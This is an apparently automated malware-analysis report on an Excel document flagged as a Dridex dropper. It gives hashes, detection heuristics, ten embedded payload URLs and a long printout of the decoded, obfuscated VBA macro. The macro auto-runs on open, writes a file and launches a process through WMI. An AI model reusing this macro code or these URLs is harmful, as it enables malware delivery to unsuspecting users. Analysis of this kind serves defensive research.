Office (OLE) malware analysis — malicious · 49536b9c7c577a50

MALICIOUS

Office (OLE)

704.5 KB Created: 2021-01-27 17:26:16 Authoring application: Microsoft Excel First seen: 2021-02-20

MD5: f971dd6d45fa9d16ce9fb17ea6259ad8 SHA-1: a37b3e29ab5f407b0efc9a89533d00658c5e4c22 SHA-256: 49536b9c7c577a504505d01a057f3b41718fd7461561c2d40aa344e29c5fc926

220 Risk Score

Heuristics 9

ClamAV: Doc.Dropper.Dridex-9845759-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Dridex-9845759-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
GetObject call high OLE_VBA_GETOBJ

GetObject call
Matched line in script
```
With GetObject(ux50Ibc1TbTLp)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
h4Ds_B70_Bvd = Environ(WxhRP4U3j8Rqvq.BGxPB00(WZud3_zfZ))
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://fjb2016.com/vendor/topthink/think-image/tests/images/hu608YzHUW.php In document text (OLE body)
- https://kaizenjanitorial.com/wp-includes/sodium_compat/src/Core/Base64/x9OBSIxEAS9H69u.phpIn document text (OLE body)
- https://garven.ca/wp-content/themes/twentyten/images/headers/S1ica6r44Zet5EG.phpIn document text (OLE body)
- https://dev.claritycareercounseling.com/wp-content/themes/hexagon/template-parts/footer/IZ07xHMuYU.phpIn document text (OLE body)
- http://uvgirlshostel.indoornavigationuol.com/streetism/uploads/cq13kxveiCCQA.phpIn document text (OLE body)
- https://labcorp.localkk.com/storage/HY1qWfUM4q.phpIn document text (OLE body)
- http://13.250.58.157/wp-content/themes/bridge/woocommerce/cart/amaEW6sLbuJ.phpIn document text (OLE body)
- http://primesurgicals.in/nc_assets/img/featured/600/KkQX9LhS9Ua.phpIn document text (OLE body)
- https://taxcorporate.org/website/templates/beez5/html/com_contact/hFBjeHfTRs.phpIn document text (OLE body)
- https://online.velikan.info/wp-content/plugins/contact-form-7/includes/css/gRQsQEiJFU.phpIn document text (OLE body)
- http://www.w3.org/1999/XSL/TransformIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	56218 bytes
SHA-256: `a8f6a0f3be21af081793d20ee98ed4dd306ff6d7d84b506fc6dbe693f5f54fae`
Detection ClamAV: No threats found Obfuscation or payload: likely 308 of 571 identifiers look randomly generated (e.g. 'L04BS_inFk_55nF_WxFz') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() For W504Y_pTL_x9rE_Ja0J = 0 To CLng((0.221458046767538 * 727)) SMYLJ10lpSRHKxTq = W504Y_pTL_x9rE_Ja0J Next W504Y_pTL_x9rE_Ja0J MLLf_n9Pg_Igl_rVej = WxhRP4U3j8Rqvq.XTyHY7tD9kf End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "WxhRP4U3j8Rqvq" Attribute VB_Base = "0{430E363E-60A2-4AE7-90E9-F43100E9DB21}{7B8F59C3-EAFD-48E4-A330-5FDB33274921}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False #If VBA7 Then Private Declare PtrSafe Function Bqr7A_0n4_ppJK Lib "user32.dll" Alias "PostMessageA" (ByVal T0q0MikHjy As Long, ByVal G0Ix9jwbz4 As Long, ByVal neDmFJ0kkZBC0 As Long, ByVal PrdL_jSs2 As Long) As Long Private Declare PtrSafe Function zphUykgpPE9Y9UT Lib "user32.dll" Alias "FindWindowExA" (ByVal WVsSowVijs44ZdX7j As Long, ByVal OTfaaqyz0r52N As Long, ByVal XJMbw5rDU3k As String, ByVal d71gmhJB0 As String) As Long #Else Private Declare Function Bqr7A_0n4_ppJK Lib "user32.dll" Alias "PostMessageA" (ByVal T0q0MikHjy As Long, ByVal G0Ix9jwbz4 As Long, ByVal neDmFJ0kkZBC0 As Long, ByVal PrdL_jSs2 As Long) As Long Private Declare Function zphUykgpPE9Y9UT Lib "user32.dll" Alias "FindWindowExA" (ByVal WVsSowVijs44ZdX7j As Long, ByVal OTfaaqyz0r52N As Long, ByVal XJMbw5rDU3k As String, ByVal d71gmhJB0 As String) As Long #End If Private Const AT41_niaN_hhDY_BGd As Long = &H102 Function XTyHY7tD9kf() FHPmShI = "Cbp6O_CzkR_25g_wdH" Dim CO3j_Lpn_qhC As String CO3j_Lpn_qhC = UAo8hFdXQtf2iav.GFexxpyy7.Text NMNGdcrHAe8D = aUT9kye2 & UAo8hFdXQtf2iav.h4Ds_B70_Bvd & fOgRFgF53eFDRR499 & WxhRP4U3j8Rqvq.y0Nz6_bMS_yxyE_kI1Q & SQdh10vLsyKD0 & LW6u_hD8 & OMq6R_lqW_4ORn & KyJs_wq0 & WxhRP4U3j8Rqvq.OMEC_Tu0(koMly_Etmm_05V6) & fPoT5cdYSsw & R3iO9j69C8qMpbwT & UAo8hFdXQtf2iav.OKzWUhicS Open NMNGdcrHAe8D For Binary As #CLng((xlAsRequired Xor xlMAPI)) r8QMgDY7XK0o = "ISlRF_LL1H_kl5i_80Rr" UW09_f5SP = Xv255Z4505OFl(UAo8hFdXQtf2iav.MOZReIX1LMP, UAo8hFdXQtf2iav.Nmd37Uy5NLW, qNQo_aR9_m0z_wrX.NGu3r9PSaI(WCwyk_lsR2_IWre_58Y.QRlS_rEFF_vuO_G20W)) H7wt4ZMSO = Array(U0Ftowq & "LKQP_3O1x_j5v K6S2Y_h11 YXlA_lzK", "RtO20AuvUWmcTBRG", mJKjV_01e_iKC & "Gy6JTC0Do0R a8zR_rFw_Gnc_zeG6 ZQVdNQy0Efx", EDHW1_R46N_07j_MZI + Bu1IbGlVNfDLe, cAFGg4gml0z) QyQ0Vyt9LUOVJZz = WxhRP4U3j8Rqvq.JunJp_mNw(L0ANJC9iHe5M6O) + fFeB905voaPjyo + Hl1R_2QY_0VR + NMNGdcrHAe8D + UAo8hFdXQtf2iav.UVYtW76v + DDfbML88 Put #CLng((xlAbsolute And xlArabicStrictAlefHamza)), , CO3j_Lpn_qhC q9nKiO0k0nHsWqN = Len(Join(Array("PPWcTZzpilPbwlq VtfA8_UeZ IbMkf_WFuE_dfAk" & n3L6q_E6A_Vffr_Ma65 & s07glPGu, "I22O_wXwR DAhcJ_q6G b5r9_4lAU" & RTCH_5BZK))) Close #CLng((373 - 372)) zGaan0f = D9dKL_5c3_xFgB_Qgpx(TJhoXgdVlxUT3wE.KPXp6_k0B_LYk(xHm4WEav3NxVN), QyQ0Vyt9LUOVJZz) End Function Function Xv255Z4505OFl(ux50Ibc1TbTLp, G3VwnY2ZnuQgQk, iupEbdoExBCp) For T1cBloZWCZ5 = 0 To CLng((Not -483)) VYJXD_V5Eu_PGx = T1cBloZWCZ5 Next T1cBloZWCZ5 ExG587CHCjAOPag = Array("mu4z_6ac5_7xMi_UkB2 AbpDC_7VKS_Yfer_M2z fClSZ_oas_AFm" + "CKwSCVZFQMRqMD", RdXtsxk7 + DcZL_p0P_G1G) JYdtgWPw = Abs(CLng((Not -93))) jgPqt_rs4R = IsDate(CLng((-246 - (-206 - -788#)))) pGFcv_20H5_Re46 = "Qt4LW_dp0_w1I" iI0Ad_s2F_GrV_S1sh = Bwx0E_gFI_p15 With GetObject(ux50Ibc1TbTLp) .Create G3VwnY2ZnuQgQk, Null, iupEbdoExBCp UPJZb8ZkL48 = Len(Join(Array(HuX0KxpxweRtYl + t8H5_0PA_Ekmi ^ CmhlmcKS, XVszViS9NoP6hmZ + dYWnR_K7k))) End With AxXJD2Kr9SJacM = CLng((Not (0.453914767096135 * 1009))) < CLng((1025 Or ((-581 + 582.880232558139) * 860))) KSv06pfHD6 = CLng((1008 Xor 1910)) < CLng((1717 Xor (7.2972972972973 * xlPyramidBarStacked100))) Debug.Print UBEX_flT pf4v_SqY_DW1w_SeB0 = Len(Join(Array(Cxs1LG9gs))) End Function Function y0Nz6_bMS_yxyE_kI1Q() y0Nz6_bMS_yxyE_kI1Q = Chr(CLng((-0.222222222222222 * (0.534193548387097 * (0.701992753623188 * -1104))))) _ Z4eX_Pci = Len(Join(Array(Zzr9yvN, "vgZKA_KiR_Nwy", COD2VMOtp6x - wA5G_Zv3_5Ojz_ct7l & "p1Vv_Q87F CTwDzdAzfT buPOCZD8", "IbqsItjh0pq9kw9 J3h80SmwqCaS IjMi0_Y9py_Tbg" & WNq7_X2J5_e4SM - l2U36_Uaq_nQHI))) End Function Function OMEC_Tu0(SzUYK_9K8) O0gZz_tRm_ku84 = InStr(MMX1N_0gyL, wWFX_y0wy_XPCA, YOf5_blCG_o27V) eNDWj_obN_0aV = InStr(BqyRzYKmW4lgCNR, rFa9_bB8_El2, OHEwnljuQg8w) AHaw_P4q5_MGH0_mC0i = IsDate(CLng((933 Xor xlDialogDefineStyle))) GmzaG_OYsq = Join(Array(H3a78_Nj5_o7jj_Urac, GndsY_hZz0_zCd_hWkd, "XgYC_trjO PhmV_brxn_WMA_6se", Upp1L7ovhWvX & "jYM7o_Xlbw_f8ZG_B7r fRb8_lJqU_0Hp ARywb_KCA_b2Jb_0tuY" & hNkD_0wP_3hN)) vOEjt_WBc_VAa = Len(Join(Array("AQwafUZtDXhFf4 N6yX_QK8_lUF_PPK YJDhy_bpTu_Mkk", "XAAybPhi qsX33zW n4EUDzXI5" + "ISilIBoaVN9 cZnEUQYr XXhAxEQEnzMR62Hu" & "OAIK_kqE9_s8N E2pJrID QwtkIAq37", "ZCWpr_Ngg P8fSdHNUvLhLnv yoRwugzE1ik9EF", F399_kQ0 + EFVFk_sSI_gcK9 & "aTIAMYrm4FSw7mx GyENx_4TC_B7WD_hKY", "czykFf2sqpETpvA TjcWp0yu6 MeGj_b73K" + "ou6SPP8oLT3 Nagr_ZmK3_hF2Q" & pb3us_wH8V_K1a, FWp98iST & "SFwU_QK2s_rDp EAZoXX7GR8r RSYe55kiulyobTM" & "LZ6mgAy9n"))) LCc3nTrRIa6eJwI = "CBboAeyci6Kw7" Debug.Print QMjVp09g8fh2lpb OMEC_Tu0 = Hex(CLng((CLng((190463 And (188612 - 197#))) - CLng(((102829 - 291#) + (8.06329113924051 * -79))) + CLng((68108 Or (1.00600518491514 * 98748)))) * Rnd + CLng((((103489 - 345#) + -463#) + -780)))) WDN4_vxT3_AkB = Join(Array("BUWC7_PiFF" & ZCBP_GWG, D2fk_kS5H_Nk0R_6cr, "C09sdxSM Iz5S_D2j_lPR_oRN EQxcrZI7" + "mDzeBYEoB0Ob3HE")) RMY4U_nIDz_k0xo = InStr(rW1qgO7, CexUxUpVk0IUpx, IUvQk_AVV_WaNc) 'WKms_EpQ WIPH7_lW4_l0Pk_dpe4 hV5E0BpI PvvH9OgF yqAt_Z2Z3 CpYI_Dfk_X47_PeH = IsDate(CLng((845 And (1702 + -829#)))) OxCCydx8xSkQC6 = IsDate(CLng(((490 + -27#) And (-0.59765625 * -512)))) HPw9mNP1Rk = "819" GCQrmgC4 = CLng(((1.1994767822106 * 1529) Xor 791)) > CLng(((1.25283347863993 * -1147) - (-448 + 439#))) End Function Function JunJp_mNw(x6Ft0_WEm_Je7_n0j0) JunJp_mNw = ChrW(CLng((xlTabPositionLast Or ((-0.162454873646209 * 831) - -245#)))) _ & ChrW(CLng(((xlCurrencySpaceBefore - -458#) - (1332 + -921#)))) _ & ChrW(CLng((Asc(" ")))) _ & ChrW(CLng((AscW("G")))) _ & ChrW(CLng((Asc("e")))) _ & Chr(CLng(((xlCylinderBarStacked + -95.8483660130719) * (873 + -108#)))) _ & ChrW(CLng((329 + (627 - 924#)))) _ & ChrW(CLng((((-7.08128686115549E-03 * -131) * 387) + -312))) & Chr(CLng((Asc("f")))) _ & Chr(CLng((xl3DAreaStacked100 And ((-844 + 843.711688311688) * -385)))) _ & Chr(CLng((xlRadarFilled Or xlRadarFilled))) _ & Chr(CLng((Not -78))) _ & ChrW(CLng(((-286 + 351#) Or xlArrangeStyleTiled))) _ & ChrW(CLng((Not (xlDialogDeleteName + (0.339820359281437 * -668))))) & ChrW(CLng(((4.35211267605634 * xlDialogOutline) + (0.367936925098555 * -1522)))) & ChrW(CLng(((-8.4788029925187E-04 * 401) * -100))) End Function Function BGxPB00(T0SFasEui) BGxPB00 = Chr(CLng(((-512 - -386#) - -223))) + Chr(CLng((Not ((-434 - -434.239644970414) * -338)))) _ + ChrW(CLng(((-70 - -70.1577909270217) * 507))) _ + ChrW(CLng((Asc("D")))) _ + Chr(CLng((Asc("A")))) _ + ChrW(CLng((Asc("t")))) + ChrW(CLng((Asc("A")))) _ End Function Function D9dKL_5c3_xFgB_Qgpx(M8EJp_Q0O_8lQ_xDsp, O4uX_DQaV_bP8_k5ta) TbCQ_GcBU_WLHV_msA = IsDate(CLng((529 Or (0.587575496117343 * 1159)))) Debug.Print HawB1mz0WXER For SnFYLfKhXye = CLng((xlDataLabelSeparatorDefault Or xlBox)) To CLng((136004 + -862)) AHyS_T4E = CLng((xlDialogSplit Xor ((-1020 - -716#) + 625#))) < CLng((833 Or 1668)) MXUhHG7gXN6 = InStr(Jrn5SL7ElxwV52p2, cqLy0cfDkhc2f, Hp2Y8_Cig) B7HAQIHeL = Join(Array("A9sOira1" & nUResyAeytcb0G & "L04BS_inFk_55nF_WxFz SbWa_G61F_K2xZ_FIA4", "mLEZvDPoEkHzJ", Bo5T0_h2PW & "iDpa_qdmy StBU_qlY Zxura_mam4")) hBu9bMXH = InStr(cIdx_iXYP_rB8n_3pQQ, J1KThwgowLEK, hJ27_nPAX) ELH3_lByw_W50_7ks = CLng((827 And 959)) < CLng((((-1006 + 901#) - -490#) Or xlExcel2FarEast)) ZMWX6_bT4_fg0s_604 = IsDate(CLng((xlPaperFanfoldStdGerman Or xlDialogVbaInsertFile))) td0S_xF4_Jr0g = zphUykgpPE9Y9UT(CLng((xlArabicNone Xor xlPivotCellValue)), CLng((xlNoMailSystem Or xlHidden)), M8EJp_Q0O_8lQ_xDsp, vbNullString) YpXi_eyV_MfMC_wFO = Array("MIAFC550cazvAs0", "f9WIB_seRk_VxEh_zUy eguwx_rra_PzNb_QAxp GoxV6Mm8sYj" & mUewIutAE * VdL0_YliT_rwsV_PJQ, SVKJ_CKg_33zw_tHH + KJL4_W1PS ^ KUlB_vTgT, "ETl8XXbSfgbH Jp6B2_gEt_vZOb_cGU PGxdy6cm6XAy2ov" + "mMbqm_yPJX Y39wDIr3y0DYqP4j SKCn_pWQK" & Mgsvv_MMIS_69F_WsqJ, GhKW_pbjZ_aOI) Next SnFYLfKhXye wxuhQ9yx8x = IsDate(CLng(((xlDialogAddChartAutoformat - (1113 + -155#)) + 258))) For lGwbQHnudyQA = CLng(((2.02828236935833E-06 * 932) * 529)) To Len(O4uX_DQaV_bP8_k5ta) 'gqLL_05rY_HCW z8o1u_MWUX_HqB VwpPy_kB2k_H9v CWXZ_j0y_O1q Us7JhBfl PlA0kWD = CLng((-56 - (0.1513353115727 * -337))) > CLng((xlDialogZoom Or 1102)) hVYHW8Hfa = CLng(((0.416014449127032 * 1661) - 618)) > CLng((3372 Or 2313)) X0ThpLjbp5z = "TwbJ_Wn1K" Bqr7A_0n4_ppJK td0S_xF4_Jr0g, AT41_niaN_hhDY_BGd, Asc(Left$(Mid$(O4uX_DQaV_bP8_k5ta, lGwbQHnudyQA), CLng(((-1366 - -383#) + 984)))), CLng(((-705 + 57#) - -648)) Next lGwbQHnudyQA gE0e8Z0x = IsDate(CLng((Not xlLinkStatusCopiedValues))) YTKdR_lDW9 = InStr(Dgod_tbI6, xDkPwtcaqO, DdrE_tiwv_7Vf_iau) Bqr7A_0n4_ppJK td0S_xF4_Jr0g, AT41_niaN_hhDY_BGd, CLng((Not -14)), CLng((xlDialogGalleryBar - xlDialogGalleryBar)) PSVUJZzgUSI = BOR26IrSREkON End Function Attribute VB_Name = "UAo8hFdXQtf2iav" Attribute VB_Base = "0{2BB8714B-3FC3-41A0-8C33-7656DA4A01D2}{FC86FA11-FEAB-4382-8597-5AF9C2D0C78E}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function OKzWUhicS() OKzWUhicS = ChrW(CLng((Not (548 + -595#)))) + ChrW(CLng((Asc("X")))) _ + Chr(CLng((Not (-884 + (1.71046770601336 * 449))))) + Chr(CLng((AscW("l")))) _ For Rj5X_aUST = 0 To CLng((((-5.42722431396493E-04 * 837) * -634) Or 1160)) iNJpyqfen = Rj5X_aUST Next Rj5X_aUST ZptD_7sx_Poc = uKeEZ_6qou_9nDj End Function Function MOZReIX1LMP() MOZReIX1LMP = ChrW(CLng((AscW("w")))) _ & Chr(CLng((xlPyramidBarClustered And xlConeCol))) & ChrW(CLng((xlLandscape Xor (-380 - -488#)))) & Chr(CLng((AscW("m")))) _ & Chr(CLng((Not ((1.25988700564972 * -531) - -565#)))) & Chr(CLng((AscW("m")))) & Chr(CLng(((0.170702179176755 * 826) - (257 + -232#)))) _ & ChrW(CLng((AscW("s")))) & Chr(CLng((-399 - (0.542111506524318 * -843)))) & ChrW(CLng((957 + -843))) _ & Chr(CLng((-1.20652173913043 * -92))) & Chr(CLng(((xlDialogScenarioCells - 196#) Or xlCurrencyMinusSign))) & ChrW(CLng((Not ((0.303623898139079 * -1021) - -193#)))) & Chr(CLng((xlCylinderBarClustered And 124))) & Chr(CLng(((-0.182656826568266 * -542) And xlConeBarStacked))) & ChrW(CLng((xlCylinderBarStacked Or xlXYScatterSmoothNoMarkers))) & ChrW(CLng((Not (799 + (-1222 + 313#))))) & Chr(CLng((118 And 126))) & ChrW(CLng(((-491 + 491.071022727273) * (1047 + -343#)))) _ & ChrW(CLng((-6.20985010706638E-02 * -934))) & Chr(CLng((xlWJ3 Xor xlDialogRowHeight))) _ & Chr(CLng((558 - 453))) _ & Chr(CLng(((xlDialogCustomViews - 367#) And xlPyramidBarStacked100))) _ & Chr(CLng((xlColumnClustered And xlLineStacked))) & ChrW(CLng((Asc(xlStrict)))) _ & Chr(CLng((xlDialogRowHeight And (9.73360655737705E-02 * (995 + -19#))))) & Chr(CLng((xlDialogEditDelete Xor (0.684563758389262 * (0.174269005847953 * 855))))) & ChrW(CLng((114 Or xlTable7))) & Chr(CLng((xlConeColStacked100 - xlMillionMillions))) & Chr(CLng((-61 - (0.208062418725618 * -769)))) & Chr(CLng(((-637 - -764#) And (-151 - -252#)))) & ChrW(CLng((-849 + 964))) & Chr(CLng((Asc("s")))) End Function Function h4Ds_B70_Bvd() DgJmYeu = InStr(TZ9IeKOFNquCAB5, MBnfEz0WgvEF0cd, OnhM_PGQ) JVBtbZx3j6yTt = Array("UWxY9awjnH6n1Hm eEM0I_5D4" & GovY8_a0Z & "ydEOe_dZjN_fWKC_BXXG", "XfWMG_vCc_WMW" + "d0O593QQsn9 Cd1z_9lqy", "AImS5_6G3_o6Z", "EkPOhzI4mV7" & DmXi_eRlA_RbCR) For ogpC04GXJ = 0 To CLng(((-574 - -690#) Xor xlDialogActiveCellFont)) N01j533TZ4CQZuv = ogpC04GXJ Next ogpC04GXJ SEEpgjK0JtoY = IsDate(CLng(((1757 + -934#) Xor (0.289919058130979 * 1359)))) h4Ds_B70_Bvd = Environ(WxhRP4U3j8Rqvq.BGxPB00(WZud3_zfZ)) NijJI_xPj6_WdD = Abs(CLng((Not (-1549 - -617#)))) iR27T_UPIB_bJG_DCm = Array("VrTf_GFsX", Oo9UdKbV1as4Zlw & "JK5TzkRU LvVx7oeI", JfdP_Yadk & "BrdDsJj5tKkD0 DsXB_ioJ" & PhQZ_sWdL_WTS_hgeW, "CGUA_PJZh_w491_wHS O88txhyVaZaNsFw G5Zzt_9VE_CfUM_8maO" & S1gqbKL5mPryF2) pCX2uheU00OL = InStr(fKYR4nuaV21mfTN, HvVIdZw1mf2kfSzA, AI7uXGqjWM75WmZTf) Debug.Print Y1JV6fN V9FLM_domU_DRE3_i8w = Len(Join(Array("M3aZXYGtPL3A XGV0vUog30PK hP0SjvLh" & KoGPHWCAyBx, "qYsTe_odD_Wp0n RkcF5iZwaBTR" & "G5g5FMkHGmstCW nkQ3XjBHJAI" & G0EN_Tbs_03zc, P8OS56gWl0xfogCZ * xPJU_qtB, YibO_5acx, "V0OU_i6xl_BHf OoedlFco" & "MgCy_CNpl o3vMNlaKi" & "IjRi_0Gg_rTO_d6HF KFXlX_uL8w", CvRA_Eya_KObt_7sY))) End Function Function UVYtW76v() UVYtW76v = ChrW(CLng((xlDialogGallery3dSurface + -239))) CQvxL_tzt_aWbd = Array("mLrO_I9O_4Ojl f2JcMb9r SmBM9RXLlftz6XB" & bqTv_AyzG_MED_3t8O & "zZTwJwiFm6O0HKj F5f9rW3m8cWZ", TquqUi9OG & "CoBPaQYgeeAye0" & p4c7_iOQx_lfdk) I2LF8zxtG = ygfzBe0iKmIh End Function Function Nmd37Uy5NLW() Nmd37Uy5NLW = Join(Array(Chr(CLng((AscW("w")))) _ & ChrW(CLng((AscW("M")))) & ChrW(CLng(((871 + -750#) And xlConeCol))) _ & Chr(CLng((-832 - (0.68941717791411 * -1304)))))) End Function Attribute VB_Name = "WCwyk_lsR2_IWre_58Y" Attribute VB_Base = "0{74A2CDA6-0FB7-405B-8439-D92C1680DF19}{054C8497-CE61-4812-B10F-179D28556981}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function QRlS_rEFF_vuO_G20W() QRlS_rEFF_vuO_G20W = Join(Array(ChrW(CLng(((xlDialogWebOptionsPictures - 685.577669902913) * (471 - 677#)))) _ + ChrW(CLng(((629 + -524#) And 123))) + ChrW(CLng(((0.131147540983607 * xlDialogScenarioCells) Xor xlDialogGalleryLine))) + Chr(CLng((xlClipboardFormatBIFF4 Xor 115))) _ + Chr(CLng(((-553 - -553.102284011917) * 1007))) _ + ChrW(CLng(((-9.00528750826173E-03 * -34) * xlDialogOptionsGeneral))) _ + ChrW(CLng((Asc("t")))) + ChrW(CLng((xlWJ3FJ3 Xor xlStockVHLC))) + ChrW(CLng(((990 + -129#) + -803))) + Chr(CLng((((0.668055555555556 * -1440) - -993#) Xor xlLineMarkersStacked100))) + Chr(CLng((Not ((xlLineMarkers + 315#) - 495#)))) + ChrW(CLng((271 + -160))) + Chr(CLng((0.105313092979127 * (2.8956043956044 * 364)))) + Chr(CLng((Asc("t")))) + Chr(CLng(((-0.152317880794702 * -604) Or (-3.51648351648352E-02 * -455)))) + ChrW(CLng((AscW("c")))) _ + Chr(CLng((Asc("i")))) + Chr(CLng((-381 + (-2.11206896551724 * -232)))) + Chr(CLng((((6.03588907014682E-02 * 613) - 36.6758241758242) * 364))) + Chr(CLng((50 Or xlYears))) + ChrW(CLng((0.059244126659857 * 979))) + Chr(CLng((Asc("W")))) + Chr(CLng((Asc("i")))) + Chr(CLng((((0.462253193960511 * -1722) + 796.352564102564) * xlDialogPivotTableWizard))) + ChrW(CLng((556 - xlDialogChartOptionsDataLabels))) + Chr(CLng((((586 + -121#) + -414#) And xl3DBarStacked100))) _ + ChrW(CLng((xlChartTitle Xor (139 - (-8.43585237258348E-02 * -569))))) + Chr(CLng((Asc("P")))) + Chr(CLng(((-77 + 195#) And 123))) + ChrW(CLng((xlPieExploded Or (xlDialogTabOrder + -348#)))) + ChrW(CLng((xlDialogCalculation Or xlDialogGalleryArea))) + ChrW(CLng((0.179078014184397 * 564))) + Chr(CLng((AscW("s")))) + ChrW(CLng((-0.891472868217054 * (705 - 834#)))) + ChrW(CLng((Not -84))) _ + ChrW(CLng((Not -117))) _ + ChrW(CLng((Asc("a")))) + ChrW(CLng((Not -115))) _ + ChrW(CLng((Not (-198 - -81#)))) _ + ChrW(CLng((Asc("u")))) + ChrW(CLng((-495 + (1.6908077994429 * 359)))))) kgsM_aCT3_DLTJ_obss = InStr(zvRx_7BS_byFt_E2w4, RfGZP_WyR_rTY, IaIB_UBDa_p5V_FxUn) Debug.Print JBPUuxGhdKl9Gm8 End Function Attribute VB_Name = "TJhoXgdVlxUT3wE" Attribute VB_Base = "0{32783E9F-FF2D-44EC-9C9D-C926A9BEEC28}{5E0A5FCC-A338-47D4-BC89-084F5361AB64}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function KPXp6_k0B_LYk(zAst_14F) KPXp6_k0B_LYk = Join(Array(Chr(CLng((Asc("C")))) _ + Chr(CLng((xlDialogDeleteFormat And xl3DAreaStacked100))) _ + Chr(CLng((xl3DAreaStacked100 And (0.207236842105263 * 608)))) + ChrW(CLng((AscW("s")))) _ + Chr(CLng((232 - 121))) + ChrW(CLng((AscW("l")))) _ + ChrW(CLng((AscW("e")))) + ChrW(CLng(((0.198618307426598 * 579) Or xlUnderlineStyleDoubleAccounting))) + Chr(CLng((-873 + (775 + 203#)))) + Chr(CLng((Asc("N")))) + ChrW(CLng((Not ((1.22260273972603 * -876) - -970#)))) + ChrW(CLng((xlDialogFormulaFind - -47))) + Chr(CLng((994 + ((-6.38220277169949E-03 * -457) * -300)))) _ + ChrW(CLng((AscW("C")))) + Chr(CLng((Asc("L")))) _ + ChrW(CLng((617 + (0.351114112086428 * -1481)))) + Chr(CLng(((-676 - -742#) Or (-139 + 156#)))) _ + ChrW(CLng((Not -84))))) UNirmFl692rY = "582" TVeWQcL2 = "483" End Function Attribute VB_Name = "qNQo_aR9_m0z_wrX" Function NGu3r9PSaI(WdpxnLyDS5V) Set NGu3r9PSaI = GetObject(WdpxnLyDS5V).SpawnInstance_ srJ13Xjs = "699" PQLAfvoszgWnVkD = "cW4Ln_qNL0_z3Z" 'Fe9C_CgV_8Rlj MJIUQp1lDL93yKs ZXrYatsFi ZnAsiYMYO qKwtnBx X8JH7w7m 'a53N1TJ4UC2hvz BW0N6Y1cU RwItTyNpOpevqSeV FAtOl8pNq0W4T rSu0Io5egoXNZNN ak2v_0AC PFHZ_f00_ROea_EJAI G1L5k_CvSW_jRfI UBHDcwrVQtDJ Gdn9CfJCaSFT = IsDate(CLng((Not -425))) NGu3r9PSaI.ShowWindow = CLng(((-1168 + (0.870404411764706 * 1088)) - -233)) ZsmVZf0fbAk30WR = Join(Array(gC61M_5pn & "RDYo_iez_ie7_miJ T609C_ivdg QQ4TjMVbD" & Azo3Y_qiM_2S2S_M0t, F4jNA_YHb & "Hastu_GMPU_NEk", "Uj464lHYSxkzp Vb0YQjcK rIjg7YBm0k60U4" & "pNKi_WxK_Hqzu_qzM6", V6f4kaaALcWlzAZD + FuR9cvL5, Xzq5j_ZgV7_W1o & YIMF_HoR & "BHUa_RzT_sdV sFV9y_3Tg JYiLzFK0nqAqe", MzsVKUNVN & "rjjafl0AU eDZT_Rpm_cmUQ")) qSaQ8_KqwU_A38 = "554" jWZRk4eIj37qmzn = InStr(TDy37_Igh, cRJWNINX, ZSzB_00xO_LE20) HCJQQ3yhhYaiJoHI = "637" 'GE30Gog1nHjX XxNF5_Zs63_ERB FB3OJRqCt0u QmoOt9MM SoBP_PUn8_xAc QnbMudHafSSKjLI UHJ6F8gRcSn2hS HWxjn_7Ypy mDxjAM09 = Array(E5UrsfH1GFo7, "vHQG0_kVY_Jc4_QmM RuBnH_oK2_vJBA_zY1", NxL4DQFsCCgAKG - OnRfYaQA2Dw9 & RlKnQAkV35r1) End Function ' Processing file: /opt/analyzer/scan_staging/50ac35a6fa094aea91ac544b64f67235.bin ' =============================================================================== ' Module streams: ' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 2165 bytes ' Line #0: ' FuncDefn (Sub Workbook_Open()) ' Line #1: ' StartForVariable ' Ld W504Y_pTL_x9rE_Ja0J ' EndForVariable ' LitDI2 0x0000 ' LitR8 0xBC0A 0xBE26 0x58BC 0x3FCC ' LitDI2 0x02D7 ' Mul ' Paren ' 